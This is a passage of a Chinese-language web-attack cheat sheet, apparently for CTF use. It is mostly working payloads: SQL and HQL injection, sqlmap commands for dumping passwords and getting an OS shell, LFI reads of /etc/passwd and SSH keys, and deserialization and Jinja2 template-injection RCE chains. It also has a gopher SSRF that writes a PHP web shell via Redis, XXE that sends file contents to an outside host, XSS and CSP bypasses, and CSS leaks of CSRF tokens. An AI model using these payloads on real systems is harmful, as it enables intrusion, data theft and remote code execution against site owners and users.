- encode('123\\000\\001', 'base64') => MTIzAAE=
- decode('MTIzAAE=', 'base64') => 123\000\001
不支援limit N, M
- limit a offset b 略過前b筆，抓出a筆出來
註解
- --
- /**/
爆庫名
- SELECT datname FROM pg_database
爆表名
- SELECT tablename FROM pg_tables WHERE schemaname='dbname'
爆Column
- SELECT column_name FROM information_schema.columns WHERE table_name='admin'
Dump all
- array_to_string(array(select userid||':'||password from users),',')
其它
- version()
- current_database()
- user
  - current_user
  - SELECT usename FROM pg_user;
- current_schema
- current_query()
- inet_server_addr()
- inet_server_port()
- inet_client_addr()
- inet_client_port()
- type conversion
  - cast(count(*) as text)
- md5('abc')
- replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXef
- pg_read_file(filename, offset, length)
  - 讀檔
  - 只能讀data_directory下的
- pg_ls_dir(dirname)
  - 列目錄內容
  - 只能列data_directory下的
- PHP的pg_query()可以多語句執行

ORM injection

https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications

Hibernate
- 單引號跳脫法
  - MySQL中，單引號用\'跳脫
  - HQL中，用兩個單引號''跳脫
  - 'abc\''or 1=(SELECT 1)--'
    - 在HQL是一個字串
    - 在MySQL是字串+額外SQL語句
- Magic Function法
  - PostgreSQL中內建query_to_xml('Arbitary SQL')
  - Oracle中有dbms_xmlgen.getxml('SQL')

HQL injection example (pwn2win 2017)

order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)
- Output: ERROR: could not stat file "flag": No such file or directory
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)
- Output: ERROR: could not stat file "secret": No such file or directory
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
- Output: ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory

SQL Injection with MD5

$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
ffifdyop
- md5: 276f722736c95d99e921722cf9ed621c
- to string: 'or'6<trash>

HTTP Parameter Pollution

id=1&id=2&id=3
- ASP.NET + IIS: id=1,2,3
- ASP + IIS: id=1,2,3
- PHP + Apache: id=3

SQLmap

https://github.com/sqlmapproject/sqlmap/wiki/Usage
Usage
- python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
  - 庫名: --dbs
  - 表名: -D dbname --tables
  - column: -D dbname -T tbname --columns
  - dump: -D dbname -T tbname --dump
    - --start=1
    - --stop=5566
  - DBA? --is-dba
  - 爆帳密: --passwords
  - 看權限: --privileges
  - 拿shell: --os-shell
  - interative SQL: --sql-shell
  - 讀檔: --file-read=/etc/passwd
  - Delay時間: --time-sec=10
  - User-Agent: --random-agent
  - Thread: --threads=10
  - Level: --level=3
    - default: 1
  - --technique
    - default: BEUSTQ
  - Cookie: --cookie="abc=55667788"
  - Tor: --tor --check-tor --tor-type=SOCKS5 --tor-port=9050

LFI

Testing Payload

Linux / Unix

./index.php
././index.php
.//index.php
../../../../../../etc/passwd
../../../../../../etc/passwd%00
- 僅在5.3.0以下可用
- magic_quotes_gpc需為OFF
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
ＮＮ/ＮＮ/ＮＮ/etc/passwd
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/mail.log
/usr/local/apache2/conf/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/sites-available/000-default.conf
/usr/local/etc/apache2/httpd.conf
/etc/nginx/conf.d/default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/nginx/sites-enabled/default.conf
.htaccess
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/authorized_keys

Windows

C:/Windows/win.ini
C:/boot.ini
C:/apache/logs/access.log
../../../../../../../../../boot.ini/.......................
C:/windows/system32/drivers/etc/hosts

環境變數

../../../../proc/self/environ
- HTTP_User_Agent塞php script

log文件

apache log
mysql log
mail log
ssh log
- /var/log/auth.log

php://filter

php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php

php://input

?page=php://input
- post data: <?php system("net user"); ?>
- 需要有開啟url_allow_include，5.4.0直接廢除

phpinfo

對server以form-data上傳文件，會產生tmp檔
利用phpinfo得到tmp檔路徑和名稱
LFI Get shell
限制
- Ubuntu 17後，預設開啟PrivateTmp，無法利用

php session

Session一般存在sess_{PHPSESSID}中
可以透過修改Cookie再LFI拿shell
以下為常見存放路徑
- /var/tmp/
- /tmp/
- /var/lib/php5/
- /var/lib/php/
session.upload_progress
- PHP預設開啟
- 用來監控上傳檔案進度
- 當session.upload_progress.enabled開啟，可以POST在$_SESSION中添加資料 (sess_{PHPSESSID})
- 配合LFI可以getshell
- session.upload_progress.cleanup=on時，可以透過Race condition
- Example
  - HITCON CTF 2018 - One Line PHP Challenge

data://

條件
- allow_url_fopen: On
- allow_url_include: On
用法
- ?file=data://text/plain,<?php phpinfo()?>
- ?file=data:text/plain,<?php phpinfo()?>
- ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip / phar

適用驗證副檔名時
zip
- 新建zip，裡頭壓縮php腳本(可改副檔名)
- ?file=zip://myzip.zip#php.jpg

phar

  <?php
      $p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP);
      $x = file_get_contents('./a.php');
      $p->addFromString('b.jpg', $x);
  ?>

構造 ?file=phar://phartest.zip/b.jpg

SSI (Server Side Includes)

通常放在.shtml, .shtm
Execute Command
- 
File Include
- 
Example
- HITCON CTF 2018 - Why so Serials?

上傳漏洞

Javascript檢測

Burp Suite 中間修改
disable javascript

Bypass MIME Detection

Burp修改Content-Type

黑名單判斷副檔名

大小寫繞過
- pHP
- AsP
空格 / 點繞過
- Windows特性
- .php(空格) // burp修改
- .asp.
php3457
- .php3
- .php4
- .php5
- .php7
- .pht
- .phtml

.htaccess

<FilesMatch "kai">
SetHandler application/x-httpd-php
</FilesMatch>

文件解析漏洞

Magic Number

jpg
- FF D8 FF E0 00 10 4A 46 49 46
gif
- 47 49 36 38 39 61
png
- 89 50 4E 47

其他

常見場景：配合文件解析漏洞

反序列化

PHP - Serialize() / Unserialize()

__construct()
- Object被new時調用，但unserialize()不調用
__destruct()
- Object被銷毀時調用
__wakeup()
- unserialize時自動調用
__sleep()
- 被serialize時調用
__toString()
- 物件被當成字串時調用

Value
- String
  - s:size:value;
- Integer
  - i:value;
- Boolean
  - b:value; ('1' or '0')
- NULL
  - N;
- Array
  - a:size:{key definition; value definition; (repeat per element)}
- Object
  - O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
- 其他
  - C - custom object
  - R - pointer reference
Public / Private / Protected 序列化
- 例如：class名字為: Kaibro，變數名字: test
- 若為Public，序列化後：
  - ...{s:4:"test";...}
- 若為Private，序列化後：
  - ...{s:12:"%00Kaibro%00test"}
- 若為Protected，序列化後：
  - ...{s:7:"%00*%00test";...}
- Private和Protected會多兩個NULL byte

Example

    <?php

    class Kaibro {
        public $test = "ggininder";
        function __wakeup()
        {
            system("echo ".$this->test);
        }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);

Input: .php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Example 2 - Private

    <?php

    class Kaibro {
        private $test = "ggininder";
        function __wakeup()
        {
            system("echo ".$this->test);
        }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);

Input: .php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

CVE-2016-7124
- 影響版本：
  - PHP5 < 5.6.25
  - PHP7 < 7.0.10
- 物件屬性個數大於真正的屬性個數，會略過__wakeup的執行
- 反序列化會失敗，但是__destruct會執行
- HITCON 2016
小特性
- O:+4:"test":1:{s:1:"a";s:3:"aaa";}
- O:4:"test":1:{s:1:"a";s:3:"aaa";}
- 兩者結果相同
Phar:// 反序列化
- phar文件會將使用者自定義的metadata以序列化形式保存
- 透過phar://偽協議可以達到反序列化的效果
- 常見影響函數: file_get_contents(), file_exists(), is_dir(), ...
- Generic Gadget Chains
  - phpggc
- Example
  - HITCON CTF 2017 - Baby^H Master PHP 2017
  - HITCON CTF 2018 - Baby Cake
  - DCTF 2018 - Vulture

Python Pickle

dumps() 將物件序列化成字串
loads() 將字串反序列化

Example:

a.py:

import os
import cPickle
import sys
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))
    
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)

b.py:

import os
import cPickle
import sys
import base64

s = raw_input(":")

print cPickle.loads(base64.b64decode(s))

$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

Ruby/Rails Marshal

this one is not self-executing

this one actually relies on rails invoking a method on the resulting object after the deserialization

erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled

在ERB上，當result或run method被call時，@src的string會被執行

常見使用情境：
- 以Marshal為Cookie Serializer時，若有secret_key，則可以偽造Cookie
- 也可以透過DeprecatedInstanceVariableProxy去執行ERB的result來RCE
  - 當DeprecatedInstanceVariableProxy被unmarshal，rails session對他處理時遇到不認識的method就會呼叫method_missing，導致執行傳入的ERB
  - @instance.__send__(@method)
Cookie Serializer
- Rails 4.1以前的Cookie Serializer為Marshal
- Rails 4.1開始，默認使用JSON

Ruby/Rails YAML

CVE-2013-0156
- 舊版本的Rails中，XML的node可以自訂type，如果指定為yaml，是會被成功解析的
- 若反序列化!ruby/hash，則相當於在物件上調用obj[key]=val，也就是[]=方法
- 而這個ActionDispatch::Routing::RouteSet::NamedRouteCollection中的[]=方法中，有一條代碼路徑可以eval
- define_hash_access中可以看到module_eval，裏頭的selector來自name
- 因為他還會對value調用defaults method，所以可以利用OpenStruct來構造
  - 函數名=>返回值的對應關係存放在@table中
- Payload:
```
xml = %{  
<?xml version="1.0" encoding="UTF-8"?>  
<bingo type='yaml'>  
---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection  
'test; sleep(10); test' :  
 !ruby/object:OpenStruct  
  table:  
   :defaults: {}  
</bingo>

}.strip
```
CVE-2013-0333
- Rails 2.3.x和3.0.x中，允許text/json的request轉成YAML解析
- Yaml在Rails 3.0.x是預設的JSON Backend
- 出問題的地方在於YAML.load前的convert_json_to_yaml，他不會檢查輸入的JSON是否合法
- 一樣可以透過ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access的module_eval來RCE

Java Deserialization

https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

.NET Derserialization

ysoserial.net
asp.net中ViewState以序列化形式保存資料
- 有machinekey或viewstate未加密/驗證時，可以RCE
Example
- HITCON CTF 2018 - Why so Serials?

SSTI

Server-Side Template Injection

Testing

{{ 7*'7' }}
- Twig: 49
- Jinja2: 7777777
<%= 7*7 %>
- Ruby ERB: 49

Flask/Jinja2

Dump all used classes
- {{ ''.__class__.__mro__[2].__subclasses__() }}
Read File
- {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
Write File
- {{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}
RCE
- {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
  - evil config
- {{ config.from_pyfile('/tmp/evilconfig.cfg') }}
  - load config
- {{ config['RUNCMD']('cat flag',shell=True) }}
RCE (another way)
- {{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}
過濾中括號
- __getitem__
- {{''.__class__.__mro__.__getitem__(2)}}
  - {{''.__class__.__mro__[2]}}
過濾{{ or }}
- 用{%%}
- 執行結果往外傳
過濾.
- {{''.__class__}}
  - {{''['__class__']}}
  - {{''|attr('__class__')}}
用request繞
- {{''.__class__}}
  - {{''[request.args.kaibro]}}&kaibro=__class__

AngularJS

v1.6後移除Sandbox
Payload
- {{ 7*7 }} => 49
- {{ this }}
- {{ this.toString() }}
- {{ constructor.toString() }}
- {{ constructor.constructor('alert(1)')() }} 2.1 v1.0.1-v1.1.5
- {{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }} 2.1 v1.0.1-v1.1.5
- {{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }} 2.3 v1.2.19-v1.2.23
- {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} v1.2.24-v1.2.29
- {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} v1.3.20
- {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} v1.4.0-v1.4.9
- {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} v1.5.0-v1.5.8
- {{ [].pop.constructor('alert(1)')() }} 2.8 v1.6.0-1.6.6

Vue.js

{{constructor.constructor('alert(1)')()}}
https://github.com/dotboris/vuejs-serverside-template-xss

Python

%

輸入%(passowrd)s即可偷到密碼：

userdata = {"user" : "kaibro", "password" : "ggininder" }
passwd  = raw_input("Password: ")
if passwd != userdata["password"]:
    print ("Password " + passwd + " is wrong")

f
- python 3.6
- example
  - a="gg"
  - b=f"{a} ininder"
    - >>> gg ininder
- example2
  - f"{os.system('ls')}"

Tool

https://github.com/epinna/tplmap

http://blog.portswigger.net/2015/08/server-side-template-injection.html

SSRF

Bypass 127.0.0.1

127.0.0.1
localhost
127.0.1
127.1
0.0.0.0
0.0
0

::1
::127.0.0.1
::ffff:127.0.0.1
::1%1

127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io

http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]

Bypass using Ⓐ Ⓑ Ⓒ Ⓓ

http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ

內網IP

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

XSPA

port scan
- 127.0.0.1:80 => OK
- 127.0.0.1:87 => Timeout
- 127.0.0.1:9487 => Timeout

302 Redirect Bypass

用來繞過protocol限制
第一次SSRF，網站有做檢查、過濾
302跳轉做第二次SSRF沒有檢查

本地利用

file protocol
- file:///etc/passwd
- file:///proc/self/cmdline
  - 看他在跑啥
- file:///proc/self/exe
  - dump binary
- file:///proc/self/environ
  - 讀環境變數
- curl file://google.com/etc/passwd
  - 新版已修掉
  - 實測libcurl 7.47可work
- Java原生可列目錄
- Perl/Ruby open Command Injection

遠程利用

Gopher
- 可偽造任意TCP，hen蚌
- gopher://127.0.0.1:5278/xGG%0d%0aININDER
常見例子
- Struts2
  - S2-016
    - action:、redirect:、redirectAction:
    - index.do?redirect:${new java.lang.ProcessBuilder('id').start()}
- ElasticSearch
  - default port: 9200
- Redis
  - default port: 6379
  - 用SAVE寫shell
```
    FLUSHALL 
    SET myshell "<?php system($_GET['cmd']) ?>"
    CONFIG SET DIR /www 
    CONFIG SET DBFILENAME shell.php 
    SAVE
    QUIT
```
  - URLencoded payload: gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
- FastCGI
  - default port: 9000
  - example
    - Discuz Pwn
      - 302.php: <?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
      - x: <?php system($_GET['cmd']); ?>
      - visit: /forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
- MySQL
  - 無密碼認證可以SSRF
  - MySQL Client與Server交互主要分兩階段
    - Connection Phase
    - Command Phase
  - gopher://127.0.0.1:3306/_<PAYLOAD>
- Docker
  - Remote api未授權訪問
    - 開一個container，掛載/root/，寫ssh key
    - 寫crontab彈shell
- ImageMagick - CVE-2016-3718
  - 可以發送HTTP或FTP request
  - payload: ssrf.mvg
```
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
```
  - $ convert ssrf.mvg out.png

CRLF injection

SMTP

SECCON 2017 SqlSRF:

127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/

FingerPrint

dict

dict://evil.com:5566

$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0

-> libcurl version

sftp

sftp://evil.com:5566

$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2

-> ssh version

Content-Length
- 送超大Content-length
- 連線hang住判斷是否為HTTP Service

UDP

tftp
- tftp://evil.com:5566/TEST
- syslog

SSRF Bible:

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

Testing Payload:

https://github.com/cujanovic/SSRF-Testing

XXE

內部實體

<!DOCTYPE kaibro[
    <!ENTITY param "hello">
]>
<root>&param;</root>

外部實體

libxml2.9.0以後，預設不解析外部實體
simplexml_load_file()舊版本中預設解析實體，但新版要指定第三個參數LIBXML_NOENT
SimpleXMLElement is a class in PHP
- http://php.net/manual/en/class.simplexmlelement.php

<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root>

<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

XXE on Windows

<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>

參數實體

<!DOCTYPE kaibro[
    <!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
    %remote;
]>
<root>&b;</root>

xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">

Out of Band (OOB) XXE

Blind 無回顯

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>

xxe.dtd:

<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://kaibro.tw/?a=%file;'>">

DoS

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

其它

XSS

Basic Payload

<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=# onerror=alert(1)>
<a href="javascript:alert(1)">g</a>
<input type="text" value="g" onmouseover="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
...

Testing

<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1)/>
'"><img/src=@ onerror=alert(1)/>
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
`onmouseover=alert(1) x=`
javascript:alert(1)//
....

繞過

//(javascript註解)被過濾時，可以利用算數運算符代替
- <a href="javascript:alert(1)-abcde">xss</a>
HTML特性
- 不分大小寫
  - <ScRipT>
  - <img SrC=#>
- 屬性值
  - src="#"
  - src='#'
  - src=#
  - src=`#` (IE)
編碼繞過
- <svg/onload=alert(1)>
  - <svg/onload=alert(1)> (16進位) (分號可去掉)
繞空白
- <img/src='1'/onerror=alert(0)>

其他

特殊標籤
- 以下標籤中的腳本無法執行
- <title>, <textarea>, <iframe>, <plaintext>, <noscript>...
偽協議
- javascript:
  - <a href=javascript:alert(1) >xss</a>
- data:
  - <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>
Javascript自解碼機制
- <input type="button" onclick="document.write('<img src=@ onerror=alert(1) />')" />
- 會成功alert(1)，因為javascript位於HTML中，在執行javascript前會先解碼HTML編碼
- 但若是包在<script>中的javascript，不會解碼HTML編碼
- 此編碼為HTML entity和&#xH;(hex), &#D;(dec)形式
Javascript中有三套編碼/解碼函數
- escape/unescape
- encodeURI/decodeURI
- encodeURIComponent/decodeURICompinent
一些alert(document.domain)的方法
- (alert)(document.domain);
- al\u0065rt(document.domain);
- al\u{65}rt(document.domain);
- window['alert'](document.domain);
- alert.call(null,document.domain);
- alert.bind()(document.domain);
- https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309
Some Payload
- <svg/onload=alert(1);alert(2)>
- <svg/onload="alert(1);alert(2)">
- <svg/onload="alert(1);alert(2)">
  - ;;改成;會失敗
  - 雙引號可去掉
  - 可10進位, 16進位混合
- <svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>
  - \u形式只能用在javascript，例如onload的a改成\u0061會失敗
- <title><a href="</title><svg/onload=alert(1)>
  - title優先權較大，直接中斷其他標籤
- <svg><script>prompt(1)</script>
  - 因為<svg>，HTML Entities會被解析
  - 去掉<svg>會失敗，<script>不會解析Entities
- <? foo="><script>alert(1)</script>">
- <! foo="><script>alert(1)</script>">
- </ foo="><script>alert(1)</script>">
- <% foo="><script>alert(1)</script>">
Markdown XSS
- [a](javascript:prompt(document.cookie))
- [a](j a v a s c r i p t:prompt(document.cookie))
- [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
- [a](javascript:window.onerror=alert;throw%201)
- ...
文件XSS
- Example: PlaidCTF 2018 wave XSS
- 上傳.wave檔 (會檢查signatures)
```
  RIFF`....WAVE...` 
  alert(1); 
  function RIFF(){}
```
  - 變成合法的js語法
  - wave在apache mime type中沒有被定義
  - <script src="uploads/this_file.wave">

CSP evaluator

https://csp-evaluator.withgoogle.com/

Bypass CSP

base
- 改變資源載入的域，引入惡意的js
- <base href ="http://kaibro.tw/">
- RCTF 2018 - rBlog

script nonce

 <p>可控內容<p>
 <script src="xxx" nonce="AAAAAAAAAAA"></script>

插入<script src="http//kaibro.tw/uccu.js" a="

 <p><script src="http//kaibro.tw/uccu.js" a="<p>
 <script src="xxx" nonce="AAAAAAAAAAA"></script>

Script Gadget
- https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
- is an existing JS code on the page that may be used to bypass mitigations
- Bypassing CSP strict-dynamic via Bootstrap
  - <div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
- Bypassing sanitizers via jQuery Mobile
  - <div data-role=popup id='--><script>alert(1)</script>'></div>
- Bypassing NoScript via Closure (DOM clobbering)
  - <a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
- Bypassing ModSecurity CRS via Dojo Toolkit
  - <div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
- Bypassing CSP unsafe-eval via underscore templates
  - <div type=underscore/template> <% alert(1) %> </div>
- 0CTF 2018 - h4xors.club2
google analytics ea
- ea is used to log actions and can contain arbitrary string
- Google CTF 2018 - gcalc2

Online Encoding / Decoding

http://monyer.com/demo/monyerjs/

JSFuck

http://www.jsfuck.com/

aaencode / aadecode

RPO

http://example.com/a%2findex.php
- 瀏覽器會把a%2findex.php當成一個檔案
- Web Server則會正常解析成a/index.php
- 所以當使用相對路徑載入css時，就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
  - 如果該檔案內容可控，則有機會XSS
- 舉例：
  - /test.php中有<link href="1/" ...>
  - 另有/1/index.php給?query=參數，會直接輸出該參數內容
  - 訪問/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php就會讓背景變紅色
    - Server: /test.php
    - Browser: /1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
      - CSS會載入/1/?query={}*{background-color:red}/../../1/
    - CSS語法容錯率很高

CSS Injection

CSS可控時，可以Leak Information
Example:
- leak <input type='hidden' name='csrf' value='2e3d04bf...'>
- input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}
- input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}
- ...
- SECCON CTF 2018 - GhostKingdom

密碼學

PRNG

php 7.1.0後 rand()和srand()已經等同mt_rand()和mt_srand()
- 測試結果：https://3v4l.org/PIUEo
php > 4.2.0 會自動對srand()和mt_srand()播種
- 只進行一次seed，不會每次rand()都seed
可以通過已知的random結果，去推算隨機數種子，然後就可以推算整個隨機數序列
實際應用上可能會碰到連上的不是同個process，可以用Keep-Alive 來確保連上同個php process(只會seed一次)
7.1以前rand()使用libc random()，其核心為： state[i] = state[i-3] + state[i-31]
- 所以只要有31個連續隨機數就能預測接下來的隨機數
- 後來rand() alias成mt_rand()，採用的是Mersenne Twister算法
Example: HITCON 2015 - Giraffe’s Coffee

ECB mode

Cut and Paste Attack

每個Block加密方式都一樣，所以可以把Block隨意排列
舉例： user=kaibro;role=user
- 假設Block長度為8
- 構造一下user: (|用來區隔Block)
  - user=aaa|admin;ro|le=user
  - user=aaa|aa;role=|user
- 排列一下：(上面每塊加密後的Block都已知)
  - user=aaa|aa;role=|admin;ro
Example: AIS3 2017 pre-exam

Encryption Oracle Attack

ECB(K, A + B + C)的運算結果可知
- B可控
- K, A, C未知
C的內容可以透過以下方法爆出來：
- 找出最小的長度L
- 使得將B改成L個a，該段pattern剛好重複兩次
  - ...bbbb bbaa aaaa aaaa cccc ...
  - ...???? ???? 5678 5678 ???? ...
- 改成L-1個a，可得到ECB(K, "aa...a" + C[0])這個Block的內容
- C[0]可爆破求得，後面也依此類推
常見發生場景：Cookie

CBC mode

Bit Flipping Attack

假設IV為A、中間值為B (Block Decrypt後結果)、明文為C
CBC mode解密時，A XOR B = C
若要使輸出明文變X
修改A為A XOR C XOR X
則原本式子變成(A XOR C XOR X) XOR B = X

Padding Oracle Attack

PKCS#7
- Padding方式：不足x個Byte，就補x個x
  - 例如：Block長度8
  - AA AA AA AA AA AA AA 01
  - AA AA AA AA AA AA 02 02
  - AA AA AA AA AA 03 03 03
  - ...
  - 08 08 08 08 08 08 08 08
- 在常見情況下，如果解密出來發現Padding是爛的，會噴Exception或Error
  - 例如：HTTP 500 Internal Server Error
  - 須注意以下這類情況，不會噴錯：
    - AA AA AA AA AA AA 01 01
    - AA AA 02 02 02 02 02 02
原理：
- CBC mode下，前一塊密文會當作當前這塊的IV，做XOR
- 如果構造A||B去解密 (A, B是密文Block)
- 此時，A會被當作B的IV，B會被解成D(B) XOR A
- 可以透過調整A，使得Padding變合法，就可以得到D(B)的值
  - 例如：要解最後1 Byte
  - 想辦法讓最後解出來變成01結尾
  - 運氣不好時，可能剛好碰到02 02結尾，可以調整一下A倒數第2 Byte
  - D(B)[-1] XOR A[-1] = 01
  - D(B)[-1] = A[-1] XOR 01
  - 有最後1 Byte就可以依此類推，調整倒數第2 Byte
- D(B) XOR C就能得到明文 (C為前一塊真正的密文)

Length Extension Attack

很多hash算法都可能存在此攻擊，例如md5, sha1, sha256...
主要是因為他們都使用Merkle-Damgard hash construction
會依照64 Byte分組，不足會padding
- 1 byte的0x80+一堆0x00+8 bytes的長度
IV是寫死的，且每一組輸出結果會當下一組的輸入
攻擊條件： (這裏md5換成sha1, sha256...也通用)
- 已知md5(secret+message)
- 已知secret長度
- 已知message內容
符合三個條件就能構造md5(secret+message+padding+任意字串)
工具 - hashpump
- 基本用法：
  1. 輸入md5(secret+message)的值
  2. 輸入message的值
  3. 輸入secert長度
  4. 輸入要加在後面的字串
  5. 最後會把md5(secret+message+padding+任意字串)和message+padding+任意字串噴給你

其它

Information leak
- .git / .svn
- robots.txt
- /.well-known
- .DS_Store
- .htaccess
- .pyc
- server-status
- crossdomain.xml
- admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
- xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps
- /WEB-INF/web.xml
文件解析漏洞
- Apache
  - shell.php.ggininder
  - shell.php%0a
    - httpd 2.4.0 to 2.4.29
    - CVE-2017-15715
- IIS
  - IIS < 7
